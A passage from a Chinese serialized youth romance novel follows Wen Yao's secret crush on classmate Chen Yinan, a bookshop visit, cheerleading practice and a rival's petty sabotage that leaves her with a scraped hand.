四下寂静,沉默在空气中蔓延。
她的脚无法向后挪动一分,浑身的力气都像被抽干了一般。
陈翊南此刻就站在沈佳雪对面。
他有些无奈,桌洞里的情书他已经托江枫送回去了好几次。他以为这样的拒绝已经很明确,但面前的人似乎很执着。这次直接捅破了那层窗户纸。
他想了想,正色道:“首先,谢谢你对我的喜欢。但高中阶段,我并没有谈恋爱的打算,抱歉。现阶段,学习会更重要些。所以,最后希望你可以把更多的的心思放到学习上。”
说完后,他便转身离开。
“陈翊南!”沈佳雪在身后叫他,声线已经有些不稳,“就不能和我试试吗?”
陈翊南没有回头。
温窈听见连廊里传来了脚步声,连忙转身朝教室走去。她将水杯放下,才恍然发现自己连水都没打。
林见月听见动静,睫毛颤动了两下,随即缓缓睁开眼,稍一偏头,就看见温窈直愣愣地坐在椅子上。
“怎么了?”
温窈没有回答,她轻声问道:“我吵醒你了吗?”
“没有。”林见月摇摇头,坐起身后注意到温窈手里攥着自己的水杯,“嗯?你去给我打水了嘛?”
“没,”温窈顿了顿,大脑迅速运转,“正要去。”
“没事,我去吧。”
林见月拿起两人杯子,就出门了。
温窈托腮看向窗外,心事重重。沈佳雪家境好,成绩也不错,陈翊南都拒绝了。
那她呢?
山顶的风很大,她知道的,她一直都知道。但那有她的月亮,所以,她仍旧想去试一下。
只因路的尽头是他,纵是高山深涧,亦或悬崖峭壁,她都无所畏惧。
一无所有,才更加所向披靡。
此刻,窗外春光正好,枝丫绿,万物鸣。
_
临近周末,每到周五下午,大家就有些坐不住。不等下课铃响起,就已经蠢蠢欲动。
由于放假原因,学校考虑到有些同学离家远,所以周五下午最后一节自习课默认不会强制上。大家可以选择上完自习课走,也可以选择在自习课之前就离开。
班级零零散散坐着几个人,靠窗的这一列,只有温窈。教室里很安静,偶尔有笔擦过纸页,发出“沙沙沙”的声响。
温窈先把数学错题整理了一下,接着又刷了两套英语试题。
她知晓自己的英语是弱势,为此英语老师也曾找过她一两次。但经过这一段时间的练习,她的弱势科目有了不小的进步。
教室黑板上面的钟表走到五点四十五分,窗外天空早已浸染了一层柔和的琥珀色。
温窈扣上笔帽,将剩下的作业装进书包后,便走了出去。
校外的公交站台距离大门口有五十米开外的距离,人行道的右侧便是绿地。夏天时,常有流浪猫躲在里面,此时也不例外。
眼前一抹橘黄色身影窜到了她的脚边,温窈笑了下,随即从口袋里掏出一根火腿。她慢慢剥开火腿外皮,将肉掰成一块块放到地上。
小猫喵喵叫了两声,便低头吃了起来。
“别急,芒种。慢点吃。”温窈弯眸,嘴角勾着浅浅笑意。
她常做公交车回家,这只小猫,就是她在这条路上遇到的。流浪猫胆子小,遇见来人就会躲。
开始时,她只要稍一有动作,这只猫便是吓得往后一跳。后来熟了,却经常趁她等车时凑到她脚边,一会嗅嗅她裤脚,一会又绕着她转圈。转累了,就会一屁股坐在她脚边。
小猫毛色偏深像橘色,不知怎的,见到它的第一眼,温窈脑袋里就冒出两个字:芒种。
后来,她想了想,许是它的毛色像极了08年芒种那天的晚霞。
她依稀记得,昏暮之交,霞散成绮。
于是,她为它取名为芒种。
陈翊南到来时,就看到了这一幕。在几米外的地方,他停住脚步。
落日熔金,春风习习,橘猫与女孩,蹲在公交牌后面不远处。
伴随着“吱嘎”一声响,公交车缓缓到站,他飘散的思绪被拉回。
是15路公交车,温窈看了眼后,匆匆起身与地上的小猫告别:“我该走了,芒种。我们改天见。”
临起身前,没忍住,她又摸了一把它头上光滑绵软的皮毛。
温窈刷完公交卡,扫视了一眼车内。后面还有两个座位空着,她过去坐在了靠窗的位置。
分神看向窗外的间隙,有人坐在了她身旁。温窈侧眸,看清来人后有些意外。
“你还没走?”她讶然开口。
“没,多写了会儿卷子。”他懒洋洋地向后一靠,接着问道:“喜欢猫?”
“嗯?”温窈先是一愣,随即便意识到陈翊南的意思,他应该是看到自己喂猫了。
她点点头,缓缓开口:“十五岁之前,我养了一只小猫,和芒种一样,都是小橘猫。活泼好动,常常趁我不在的时候拆家,把沙发上弄得一团糟。”
陈翊南笑笑:“那现在呢,它有没有听话一些?”
温窈眼眸轻怔,微哑着开口:“现在,它已经不在了。”
她习惯性叫它团团,是因为它的肚皮总是圆滚滚的,像团子一样。小时候她吵着要养猫,终于在她的苦苦哀求下,温方林在某天给她抱回了一只小猫,而它也陪伴她度过了三年的时光。
由于生活的变故,陆文慧早就在搬家前,把它转送了出去。还是她放学回家,四处找不到猫后才知道的。再后来,她听说,团团不久就病逝了。
往事就如同窗外的云烟一样,飘散在风里。快乐也好,悲伤也罢,不过都在一瞬间。
毕竟,她早就习惯了自己调节。
陈翊南眼底划过一抹异色,他顿了顿开口:“抱歉。”
温窈听到他这郑重的语气,不由得摇头笑笑:“没事,早就过去了。现在遇到了芒种,感觉就像是它回来了一般。”
“芒种?刚才那只橘色的猫?”
“对。”
陈翊南问道:“为什么叫芒种?”
“因为——”温窈难得卡壳,她想了想,挑了个模糊不清的答案,“芒种那天对我很重要。”
陈翊南颔首,并未多问。
公交车到达了相山路的站点,温窈记得陈翊南就住在这里,但他并没有下车。
身旁人正双手环胸,靠在椅背上闭着眼听歌休息。她迟疑了下,还是轻轻戳了戳他。
陈翊南睁开眼,他摘下耳机,稍微一偏头,望向温窈。
“你是不是该下车了?”温窈指了指窗外。
“今天不回家,去外婆家。”
温窈收回手,点了点头。
没一会儿,陈翊南突然想到了什么,开口道:“那天帮你推荐的书,你买了吗?”
“还没,在家附近没找到书店。”
陈翊南抬腕看了眼时间,问:“你住在哪里?”
温窈掩下心中疑惑,和他说了个地址。
“正好,我和你同站下车。这个点不算晚,可以带你去个书店,那里有卖我说的资料,价格方面不会偏贵。去吗?”
陈翊南要带她书店?
温窈听闻不由得一愣,她眸心掠过一丝惊讶,很快便一闪而过。
她答道:“去。”
公交车又走了三站后,温窈和陈翊南走下了公交车。
天已经黑了,但还并未黑的彻底,此时夜空就像一块藏青色的帷幕。
温窈安静地跟在陈翊南身后走着,两人走过一盏盏街灯,将黑夜远远甩在身后。
两人的身影在街灯照射下落在地上,又被无限拉长。温窈低下头悄悄踩着前面人的影子,一步,两步,三步……她希望这条路可以长的没有尽头。
走到转弯处,陈翊南突然停住了脚步。温窈一个没防备,差点撞到他身上。
幸好鞋子止住的快,她的鼻尖在离他的后背只有一个拳头的距离时停住了。
陈翊南似
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有所觉,他转头望来。
温窈赶忙退后一步站好,她的双手背到身后,两根手指紧张地绞在一起。
“怎么停了?”她面不改色地问。
没有人知道她现在心跳的有多么热烈,仿佛下一秒就可以从嗓子眼里蹦出来。
陈翊南的右手从口袋里伸出来,朝前指了下,“往这走。”
她跟着他,顺着巷子左拐右拐,才终于在一处空地前停下了。路有些绕,幸亏有陈翊南领路,否则她自己还真的找不到这里。
眼前牌子上明晃晃写着四个字,“拾华书店”。屋里不是明亮到会刺眼的白炽灯,而是泛着些橘黄色的灯光,暖洋洋的,让人心里无端感到温馨静谧。
门上装有风铃,两人推门进去时,风带动着下面挂的小铃铛撞击到风铃内壁,发出清脆悦耳的声响。
书店主人从书架后面探出头,是一个看起来温柔慈祥的女人。年纪不算小,四十岁左右的样子,岁月在她的发丝上雕刻出了痕迹。
尽管乌黑的秀发中掺杂着银丝,店主却仍将头发打理地一丝不苟。
想必是一个注重生活的人,温窈想。
陈翊南朝她打了个招呼,开口道:“晚上好,孟姨。”
被称作孟姨的女人,笑着回应:“小陈,来买书啊?你先自己找,找不到的话来问我。”
“行。”
陈翊南领着温窈来到一排书架前,他拿起几本书,递到她手里,“你看一下,用于数学巩固提升的话,这几本都不错。”
温窈一边翻看着书,一面问道:“这家书店,怎么会有这种书?看起来与它的氛围,有些格格不入。”
陈翊南先是偏头看了眼远处正在整理书籍的女人,随后对温窈轻声解释道:“孟姨老伴几年前去世了,她自己一个人在经营这家书店。纵使生活诗意,孟姨也需要吃饭。这个岁数了,工作不好找。这一块学生多,所以我建议她可以卖一些教资书,来谋求生计。”
原是如此。
温窈在翻书间隙,小心翼翼地看了眼陈翊南。心中就像是有烟花在绽放一般,甜蜜又酸涩。
好景难遇,如他一般。
离他走的越近,对他了解的越多,她好像,就越难清醒地脱身而出。索性不如,就此沉沦。
因为,他真的是一个本身就很好的人啊。
陈翊南并未注意到她此时毫无遮掩的目光,孟姨在那边突然叫了他一声:
“小陈,能过来帮我放一下这几本书吗?”
“好。”陈翊南垂眸对她说道:“我先去帮忙。”
温窈点点头,向后撤了一步,自觉给他腾开路。
陈翊南在那边帮忙,她便将选好的教材书抱在怀里,自顾自在店里逛了起来。
店里有不少书能看出来有了些年数,纸页泛黄,但主人很爱护,不小心搓起角的书页都有被好好抚平。书架上也都被擦拭的干干净净,不落一丝灰尘。
走到墙角书架边,她突然看到最上面的一层有一本浅绿色封面的《病隙碎笔》。她没读过,当即心下一动,踮起脚尖伸手去够。
不成想,还差一小截距离。
眼前忽地投下一道阴影,影子打在书架书籍的侧封上,变得有些不连续。身后薄荷香中夹杂着柑橘清香,铺天盖地地袭来,毫无预兆的将她笼罩。
两人影子在灯下重合在一起,密不可分,似乎永远无法分离开来。
一只骨节分明的手,替她将那本书从书架抽了出来。随后,他便后退了一小步,拉开了一些距离。
温窈诧然转身,却忘了这两排书架间空间本就逼仄。两人距离近在咫尺,空气静的,连身前人的呼吸都清晰可闻。
昨晚的梦,仿佛就在眼前浮现。
寂静的夜,漫长的对视,热烈的心跳。他炙热的呼吸划过她的脖颈,冰凉的唇轻轻吻在她的眼角。
温窈的脸几乎是在瞬间烧了起来。她有些无措地抬眸望去,接着,撞入了他乌墨般的双眸中。
他眼中的自己,后背正贴在书架上。
在这一刹那,她竟有种,哪怕恒星燃尽,宇宙坍塌湮灭,自己都会义无反顾奔向他的决绝。
13. chapter13
“那天看了《初恋这件小事》,不知道《让他爱上你的9种方法》有没有用。但如果玛雅人的远古魔法真的会显灵,那我要集中精神凝视你,努力控制你的思想。我想在心中默数三二一,你就会回头。”
——《我与y》
陈翊南很快也意识到了距离有些近,他往侧面再次后退了一步。随后,他举了举书,问道:“想看这个?”
温窈手指紧紧攥着衣角,她努力平复了下急促的心跳。
她回道:“没看过史铁生的这本,想看一下。”似乎想到什么,她的语气顿了下,接着问:“这里的书,是不是不能外借?”
陈翊南将书递给她,轻笑着开口:“正常情况下,是不可以外借。不过,没关系。”
“今天,你是特殊情况。”
温窈的心尖颤了颤。
他将手揣进兜里,转身朝门口走去。很快,她就听到他的声音在前方响起:“孟姨,我借本书看,过段时间还回来。”
孟姨连头都没抬,就笑着应了声:“行,这里的书你随便拿着看就行。”
很少有店家会对顾客这么放心。这么看来,两人的关系是真的很好。
等温窈结过账后,两人走出门。进门前还是藏青色的夜空已经转变成了深蓝色,银钩似的月亮悬挂在树梢。
陈翊南回头,转身对着屋里说道:“时间不早了,孟姨早些关门回家吧。”
“好。”屋里人笑回。
书店坐落于一条小巷内,沿街店铺鳞次栉比。路两旁有梧桐树,两人在在树下慢慢走着。
温窈犹豫着开口:“今天,麻烦你帮我借这本书了。”
陈翊南偏头看她,唇角勾起一抹清浅的笑,“不麻烦。如果心里还是过意不去,那就在看完前,替我好好保管这本书。”
“好,”温窈抬眼看向他,面上的表情甚至还带了丝凝重,“我会好好保管的,绝对不会让一页书角变得褶皱。”
陈翊南被逗笑,这次,连带着眼角眉梢都染上了笑意,他的胸腔轻轻震动了下,解释道:“我开玩笑的。我自然知道你是一个十分爱护书籍的人,否则,怎么会帮你借书。”
温窈抱着书的胳膊紧了紧,怀里的《病隙随笔》仿佛还有他刚才指尖残留的温度。
两人走出巷子,来到了一个路口。
陈翊南停住脚步,他朝左侧的马路指了下,“我该往这边走了。”
温窈一顿,很快朝他挥了挥手,“那,再见。”
陈翊南轻点了下头,转身顺着左边的路走去。刚走出两步后,他又蓦地回头,拿出手机指了指,叮嘱道:“到家后,给我发一条信息。”
“好。”温窈乖乖点头。
她没有径直离去,而是在原地站了会,细碎的灯光照在陈翊南高挑挺拔的背上。
温窈突然想起初中时周澄和她提到过的黄金比例,那陈翊南简直就是她口中身材完美的三七比例。
陈翊南的身影慢慢被树影淹没,直到消失在路的尽头,温窈才缓缓收回目光,朝家里走去。
_
高一学期过半,白天渐长,树荫渐浓,暖风至,柳絮飞。
文科一班的窗户开着,时不时有白色絮花顺着风钻进屋内。许是气温回升,春困袭来,再配合上老罗慢条斯理讲题的声音,台下众人竟有些昏昏欲睡。
温窈揉了揉眼眶,将目光重新投向黑板。趁抬头的间隙,她又向旁边看了眼,林见月的眼睛半眯着,身后江枫的头更是一点一点的轻轻磕着空气。
“期中试卷上的第二道大题我讲过很多遍了。来,我随便叫一个同学,看看他上课有没有认真听课。”说罢,老罗开始扫视全班。
有一小簇絮花飘到江枫附近,随即又来到了他的鼻尖。突如其来的痒意他鼻尖蔓延开来,正犯困的某人蓦地打了一声响亮的喷嚏。
林见月也瞬间惊醒了。
老罗随即冲着他的方向一指,“江枫,你来说说这个题吧。”
打盹后的结果就是大脑还没来得及开机,他两眼刚睁开,就懵懵地站了起来。
这道题是很经典的求解利用幂函数性质求解f(x)方程的题。江枫支支吾吾,脑袋中空白一片。
温窈清清嗓子,后背朝后微微一仰,正想开口提醒他,虞眠就开口了。
“根据f(x)为偶函数,且在区间零到正无穷上单调递增,可得……”
江枫立时站直,顺着虞眠的话接着说道:“根据f(x)为偶函数……所以,f(x)=x。”
老罗听完后,满意的点点头,“行,坐下吧。”
江枫落座,瞬间深呼出一口气,他用气音笑着感谢:“吓死我了。还好有你啊,我亲爱的同桌。”
虞眠轻嗤一声,“少贫嘴,好好听课吧。”
下午的自习课,虞眠被方媛叫到了办公室。本以为方媛把她叫来是让她发一下语文学案,没想到是让她过来帮忙统计一下成绩。
“温窈,你会做表格吗?”方媛问。
温窈点点头,她初中的时候特地练过办公软件,日常使用已经足够了。
“来,你帮老师统计一下语文成绩,做个表格,把低于90分的人给我标红。我现在去开会,你坐在这里整就行。”
温窈知道方媛是高一年级语文教研组组长,整日忙的要命。办公室里的老师走的差不多了,一般刚考完试的这几天,是他们最忙碌的时候。
期中成绩已经出来了,只是还没公布。她坐在方媛的位置上整着表格,电脑上Excel已经被打开放在桌面。
下面的工作表标签栏里,sheet1旁边还有一个sheet2。她点击了下,发现这是理科一班的成绩单。
陈翊南的名字依旧是明晃晃的排在第一位,永远屹立于山巅之上。他在理科班里排名第一,三门主科里,英语和数学排名年级第一。更不用提副科,除了化学,物理和生物都是满分。
温窈看了眼自己的成绩,在文科班里她排名第三。语文年级排名第一,数学和英语和他比就稍显落后,一个年级排名第八,一个年级排名第二十五。
北淮一中在每次期中期末结束后,都会公示年级大榜,就张贴在楼下公告栏里。理科与文科分开排名,中间会用一条红线隔开。
现在是中午午休时间,大部分人都在教室休息。温窈却趁这个时间悄悄跑了出来,柏油路上只有她自己一人的脚步声。
来到公示栏前,她伸出食指从理科第一名划到文科第三名,也就是她的排名,这条斜线就是两人的距离。
还能再近一些,温窈想。
她的食指顺着文科那一栏上滑,最终停在了文科第一名的位置。期末考试,她要到这个位置,与他齐平。
时间过得很快,眨眼又是人间六月。天际火云散,蝉声鸣树梢。
大课间时分,温窈三人沿着树荫,朝学校超市的方向走去。她手里拿着一个小本英语词书,正默默背着。
旁边,林见月看不下去了,一把将温窈手里的书抽走了,“我说,温窈同学,走路就不要看书了,对眼睛不好。”
虞眠也道:“别给自己太大压力,距离期末还有一段时间。”
温窈无奈摇头,唇角笑漪轻牵,“好。”
三人在走到超市门口时,碰巧遇到了江枫和陈翊南。
陈翊南手腕处戴着黑色的护腕,他的皮肤本来就白,此时,黑色衬得他又白了三分。他的衣服一如既往的很清爽,仿佛刚才打球的不是他。
有时,温窈真的有些好奇,这人是不是永远不会出汗?
江枫抱着篮球,鬓边还有汗珠要落不落,一看就是刚打完篮球不久。他看到三人,不由得一笑:“这么巧!”
“总感觉他们最近篮球打的很频繁。”林见月疑惑道:“应该不是我的错觉,是不是?”
她偏头问温窈和虞眠。
两人同时点了点头。
江枫闻言叹了口气,“别说了,这不是过阵子,会和北淮附中那边有篮球比赛,校队教练最近疯狂加练。不信你问虞眠,我都好几节自习没有上了。”
“的确是,一上自习课他就跑没影了。”虞眠回。
林见月的关注点却不在这里,她惊讶道:“篮球赛?我们怎么没听说。”
“具体消息还没放出来。不过,听小道消息说,林老师那边已经在目色合适的啦啦队人选了。我估计,过几天消息就会公布了。”江枫压低声音回道。
林见月锤了江枫胳膊一拳,“你小子哦,有这么好玩的事不知道早和我们分享一下。”
江枫“哎呦”了一声,“疼疼疼——”
林见月双目瞪圆,看向自己的手,“不是,我刚才也没使劲啊。”
一旁,温窈弯起漂亮的眼眸,正笑得开心。她自然也没分神注意到,陈翊南在她身上蜻蜓点水般掠过的目光。
虞眠此时悠悠开口:“江枫。”
江枫立时站直身子,胳膊下意识抱住球,他望向虞眠,问:“怎么了?”
虞眠心下了然,她故意拉长音“哦”了一声,笑意盈盈地说:“胳膊好这么快呀,火箭发射的速度都赶不上你恢复的速度快欸。”
江枫:“……”
他怀疑他同桌学坏了,但没有证据。
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上午的大课间时间长达20分钟,温窈几人也没有在外面聊太久,很快买完饮料就回来了。
等下了英语课后,林见月突然出去了一趟,没多久又笑着回来了。她喘了口气,坐下说道:“我刚才去问林老师了。林老师说明天就会公布啦啦队员招募的信息,到时候咱们去办公室找她报名就行。”
温窈抓住关键字眼,“咱们?”
“当然了,有福一起享,这种课外活动的机会可不多,我怎么能丢下你们?”林见月一脸真挚。
温窈和虞眠对视一眼,虞眠犹豫着开口:“其实——”
林见月伸出手,直接打断了她的话语,“眠眠,你不会不陪我吧?”
说完,林见月的眼睫还应景地眨了两下。
最终,虞眠话到嘴边换了个方向,她扶额道:“其实,我非常乐意参加。”
两人一齐看向虞眠。
虞眠愣了下,随即,磕磕巴巴问道:“我…应该…也挺乐意?”
_
隔天,啦啦队和篮球比赛的信息都被贴到了公示栏里。一中虽说教学严格,但有些课外活动学校还是会积极鼓励参加。
公告牌前围了一堆人,林见月带着俩人看都没看告示信息就直奔林老师的办公室而去。啦啦队只有十五个人的名额,趁着人少,温窈三人赶紧填了报名表上交了。
“这下稳了。”林见月笑说。
三人下楼梯时,与沈佳雪擦肩而过。
温窈低下头,想假装没见到来人。至少,这样就不用虚伪地打招呼,毕竟两人又算不得熟。
不过,话说回来,自从上次不小心听到墙角后,她似乎有些日子没有见过沈佳雪了。
据墨菲定律而言,越不想发生的事,往往越会发生。
果不其然,擦肩而过的瞬间,沈佳雪的声音从背后传来。
“温窈?
温窈不得不停住脚步。
“你也来报名啦啦队?”沈佳雪惊讶道。
温窈轻点了下头,算作回应。
沈佳雪貌似并不想结束这个话题,她接着问道:“你会跳舞吗?”
话中虽无恶意,但听起来就莫名让人感到不舒服。
林见月脾气急,当即嘟囔了句;“说的就你很会跳舞一样,会跳舞是一件很小众的事情吗?”
温窈拍了拍林见月的手,她看着沈佳雪,微笑回道:“还有七天时间,即便我不会啦啦操,也有足够的时间学会。”
啦啦操练习的地点在学校舞蹈室,就在高一教学楼左边那栋楼的一楼。
中午吃完饭后没多久,林老师就把所有参加啦啦操的人叫到了舞蹈室。她借着午休时间通知了一下大家每天的练习时间,以及着装问题。
练习时间安排在每天下午的自习课,又额外占用了放学后一个小时的时间。
温窈想了想,一个小时的时间她还可以接受,正好可以赶上15路公交车的最后一趟班次。
家里那边,她并不打算和陆文慧说自己参加了啦啦队。不用想,她都知道陆文慧肯定不会同意。不仅如此,还会拿学习更重要来压她。
温窈在心中无奈地叹了口气。
她拿出钥匙插进门锁里,朝右转动了下,门被打开了一条缝,屋内的声音轻而易举地传了出来。
赵景旭已经开始上幼儿园,陆文慧正在和他一起完成幼儿园布置的手工作业。
“对,就是这样做。很好,小旭真棒!”陆文慧笑着夸赞道。
温窈关上大门的声响都没能引起陆文慧的注意,还是她叫了声妈,陆文慧才意识到她回来了。
她看了眼客厅墙上挂着的钟表,距离平时回家的时间已经晚了快半个小时,她的手机里却没有一通家里打来的电话。
她在玄关处沉默地站了一分钟,随即便走进了自己的卧室。本来,她是打算找个借口和陆文慧说一下自己未来几天放学要晚回来些,让她不用担心。这样看来,直接连借口都省了。
温窈将书包一扔,身子直接埋进了被子里,累了一天的疲惫在这一刻得到缓解。
她突然就有些想哭。
羡慕吗?
她承认自己心里是有些羡慕赵景旭的,羡慕他有完整的家庭,有爸妈的宠爱。哪怕在外受了委屈,回家后也有港湾可以为他遮风挡雨。
这种宠爱,她曾经也得到过,只不过时间短暂的,让她以为自己只是做了一个梦。
美好的不真实,如泡沫般易碎。
好在这几年里,生活的磨难令她已经学会了自洽。她慢慢伸出两只手指,戳了戳自己的嘴角。
温窈,要快乐呀。
14. chapter14
“在我最迷茫的那几年,有人对我说:人生百年未小半,向前向上,皆是圆满。这句话,我记了很久很久。”
——《我与y》
啦啦操练习场地被安排在了文体馆的一间空房里,空房的前身便是个舞蹈教室,四面都是大镜子,稍微收拾干净些就能接着练舞用。
从练舞室出去右拐,走上一段距离后就是一片空旷场地。室内篮球馆就在这里,校队平时就在这里训练。
下午五点半左右,日渐西垂,天空蒙盖着一层淡淡的橘,练舞室里仍旧时不时有音乐声响起。
每个人手里都拿着一对彩色花球,正跟随音乐拍子舞动,今天会有一个新动作。
一个阶段跳完后,指导老师伸手按下了身旁音响的暂停键。她拍拍手,讲道:“下面这个动作——”
“温窈,沈佳雪,你俩来。”指导老师点了点两人,“队形变换后,你俩就站去中间位置做动作,然后其他人围着她们俩举起手中的花球摇晃。都听明白了吗?”
“老师,中间只站一个人的话,队形会不会更好看一些?”突然有人插话道。
温窈顺着声源望去,林见月也看清了说话的人。是那个叫晓梦的女生,常常跟在沈佳雪后面。
林见月立刻拧眉道:“老师,我觉得这样就很好。像咱们这种对称式的队形,方显变化与统一之美。况且,咱们啦啦操的目的之一不就是为了提升大家的团队合作意识和协作能力,而不是为了凸显谁嘛。”
最后一句话说的,可以说是很有目标性了。
袁晓梦瞬间红了脸,下意识看向沈佳雪。沈佳雪轻轻瞥了她一眼,只是对她微乎其微地摇了摇头。
沈佳雪站在第一排,她弯眼笑道:“老师,我觉得温窈同学跳的很好。我非常愿意和温窈合作。”
指导老师点头:“行,那接下来按我刚才说的试一下。”
开始按键被按下,音响里《oh!》的专属音乐节奏,再次响起。歌曲到达高潮,两人站到相应位置,侧身朝前,手臂迅速摆动成k。没等两人转身,音乐就被按停。
指导老师有些严肃的声音接着响起:“沈佳雪,你看看你那双臂举的,能与脊柱形成四十五度夹角吗?和你对面角度一致吗?”
沈佳雪先是愣了下,随即垂下眼回道:“好的老师,我马上改正。”
音乐再次响起,众人又练了两把后便结束了今天的舞蹈学习。
等温窈和虞眠拿好东西后,林见月便拉上两人朝外走去,“走吧两位,今晚请你们喝奶茶!”
“嗯?怎么请我们喝奶茶?”虞眠奇道。
“那自然是因为——”林见月一把勾住两人脖颈,“我今天心情好哇!”
虞眠抱臂“唔”了一声,她假装思索道:“你心情好,那得多亏了阿窈给力啊。短短几天时间,就能练到这个程度,比咱俩那机械舞跳的好多了。”
林见月听罢叹了口气,不死心偏头问道:“我说窈儿,你是不是骗我俩。其实,你以前还是学过舞蹈的。”
温窈摇头笑笑:“真没有。”
“那就是咱家窈天赋凛然!”
林见月定下结论。
三人边聊边朝校门口走去,没有注意到落在身后的两道目光。
沈佳雪面沉如水,嘴角不再是和平时一样浅浅向上勾着,对谁都露出一抹友善笑意。像终于褪去了面具一般,眼睛直愣愣盯着前方最左边的那道背影。
“怎么办,小雪?”袁晓梦看着远去的三人抱怨道:“这温窈是从哪突然跑出来的一号人物,跳的没有你十分之一好,还能被安排到C位,真不知道老师怎么想的。”
“以前和我在一个班级过,平平无奇的一个人。”沈佳雪顿了顿,似乎想到了什么,她重新扬起一抹笑,温和说道:“晓梦,你能不能帮我一个忙?”
_
隔天是周五,距离篮球比赛开始还有三天。
这个下午,在开始练舞前,指导老师通知大家说,最后一次彩排会安排在周日晚上,并强调届时不要有人缺席,否则这个啦啦操就不要跳了。
林见月听到这个消息时,顿时垂头丧气地和身旁温窈小声抱怨:“呜我的快乐周末,泡汤了。”
温窈趁老师不注意凑近林见月,笑着耳语:“只熬这一次周末,下周你就解放啦。”
“好。”林见月重新打起精神。
所有的舞蹈动作都已经教学完成,剩下的就是多加练习,重复与配合。
音响内的音乐躁动着,但对于已经跳了三遍的众人而言,大家已经累的气喘吁吁,胸腔剧烈起伏着。
中场休息时间竟成了每天下午的一点奢侈,林见月坐在地上,断断续续说着:“等啦啦操…结束,我…再也不要听这歌了,简直…就是…噩梦。”
温窈和虞眠坐在旁边,两人也没好到哪里去,额头上都挂着细汗。
虞眠有气无力回道:“加一。”
没一会儿,指导老师就过来拍了拍手,“休息够了吧,再练一把,咱们今天早点结束早点回家。”
天色逐渐黯淡,星与夜交相辉映。
文体馆内的灯光关闭,众人结束了下午的训练,收拾好东西后开始三两个的朝外走去。
温窈让林见月和虞眠不用等她,今天她需要收拾舞蹈室内卫生,便走在了最后。为了不耽误坐公交车,她收拾的速度很快。
一同在舞蹈室内负责今天卫生的还有袁晓梦,两人不算熟识,温窈也没主动开口。
她快拖完地的时候,袁晓梦突然跑过来道:“温窈,你要干完了吗?咱俩一起倒一下门口垃圾桶吧。”
舞蹈室外放着一个垃圾桶,需要两个人抬着上下。何况舞蹈室在二楼,一个人搬会更吃力,温窈稍想了想,便应下了。
这栋楼的垃圾回收处就在台阶后,下楼梯时,袁晓梦走的落后几分,温窈自然而然的走在了最前面。
垃圾桶呈现出一个倾斜的状态,袁晓梦在后面抬,温窈在前面双手扣着垃圾桶把手,侧着身慢
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慢走下楼梯。
距离地面还有三层台阶的高度,就在此时,袁晓梦悄悄松开了手。垃圾桶的重量连带着垃圾的重量一时全压在了温窈那头,失衡状态下,她瞬间踉跄了两步,随即朝下摔去。
倒在地上后,她下意识用手掌撑了下,粗粝的小石子霎时将她掌心磨破一片,泛着火辣辣的疼痛。垃圾桶倒下来的时候,还砸了一下她的脚踝,此刻也泛着疼意。
所幸没有扭到,否则接下来几天下步走路都是问题。
温窈带有一丝侥幸地想。
落在后面的袁晓梦,立时跑下来问道:“没事吧,温窈?”
温窈没回答,反问道:“你怎么松手了?”
袁晓梦急着解释:“对不起啊温窈,太对不起了,我刚才手没拿稳。你没有伤到吧?”
眼前人急得仿佛要哭出来了,她收回目光,坐在地上稍缓了缓,慢慢扶着墙站起身。
“没事,手挫伤了一点,我去用凉水冲冲就好。你去拿一下扫把簸箕,把这里的垃圾扫一下吧。”
“好,我这就去。”袁晓梦立时应道。
温窈点点头,扶着把手缓缓朝楼上走去。虽说没扭伤,但左脚脚踝一落地时还是会有轻微痛感。在身后人看来,能看出左脚停滞感,不复之前灵活。
袁晓梦拿出手机发了条消息。
【小雪,温窈的脚踝应该是扭伤了。】
_
卫生间的水龙头被打开,温窈正安静地用凉水小心冲洗。她的手掌下至处磨破了不少皮,红了一大片。将皮肤上面的灰尘冲洗干净,便露出了伤口,与细嫩的掌心格格不入。
已经过了放学时间点,学校医务室也肯定关门了。
温窈想了想,决定先晾着伤口,等回家再说。她背起书包,朝楼下走去。
原来摔倒的地方已经被打扫干净,她没见到袁晓梦的身影,估摸着是已经走了。
想到这,温窈迅速从口袋掏出手机一看,刚好是最后一班车的时间。
她在心中在大喊不妙,立刻朝学校门口跑去。等她跑到公交站牌下,15路公交车也刚刚开走。
温窈坐在站牌下的椅子上缓了缓呼吸,莫名觉得美好周末泡汤的不止林见月一人。
暖黄色的灯光倾斜在地,她顺着这条路朝西边走去。在快走到路的尽头时,身旁突然发出一声轮胎摩擦地面的声响。
温窈疑惑偏头看去,这一看就愣住了。
陈翊南一手撑着车把,正直起身看着她,眉眼间隐有笑意。
温窈回过神,一只手揪着书包背带,另一只手默默伸出,打了个招呼。
这时,陈翊南眉心却顿时蹙起,他问道:“你手怎么了?”
温窈这才意识到自己把受伤的掌心不小心展露了出来,她缩回手,笑道:“没事,不小心摔倒擦伤了。”
陈翊南抬腿跨下车,将车撑支好。他走近了些,离着温窈有两步的距离。
他轻轻开口:“把手伸出来,我看看。”
15. chapter15
“那天看到一个讨论,关于‘记忆中的他(她)’。回忆倒带,青葱岁月里,他在我的记忆中永远温柔干净,永远明媚张扬。是我爱的篇章里最勇敢最遗憾的一页,却也是我单调枯燥青春中的唯一一抹光亮。”
——《我与y》
温窈一面慢慢摊开手掌,一边小声说着:“真的没事,就是磨破皮了而已。”
“那脚踝呢?”陈翊南问。
温窈怔在原地,“你…怎么知道……”
陈翊南无奈道:“走路姿势都不如平时利落,我能看出来的,温窈。”
温窈鼻尖一酸,刚才摔倒擦伤没哭,为此没赶上公交车也没哭。但此刻,不知为何,眼眶中霎时涌满了水汽,她连忙低下头,以防被陈翊南看到。
许是夜色太浓重,许是晚风太动人。
许是风沙太大迷了眼。
许是,许是,今晚的月光竟有几缕照在了自己身上。
身前人接着问道:“怎么今天没坐公交?”
“没赶上。”温窈声音闷闷地回。
她没抬头,但能感觉到他的目光还落在自己身上。
温窈揪着书包带的手指蜷了蜷,很快,她听见陈翊南说道:“我知道附近有家药店。擦伤这么一大片,走吧,带你买点碘伏消消毒。”
温窈顿时抬起头,她连忙摆手,“没事,明天就好了,不用这么大费周章。”
陈翊南正安静看着她,她只和他对视了两秒,便很快移开目光。
他说:“不疼吗,温窈?”
她眼眶中的水汽刚散尽不久,又以极快的速度涌了上来。
等温窈坐到便利店里,还有些稀里糊涂。
陈翊南拿出刚买的药,用棉棒蘸了些碘伏,为她轻轻擦拭消毒了一遍。接着,他低下头,用干净纱布小心翼翼地缠在她的掌心。
温窈呼吸猛地一滞,胸腔里的心脏颇有愈跳愈快的架势。
陈翊南的手托着她的手,她仿佛能感受到他掌心的炙热和手指细腻的纹路。
他垂下眼睛,薄唇微抿。温窈看了一会儿后微微低头,有些不自在地眨了眨眼。
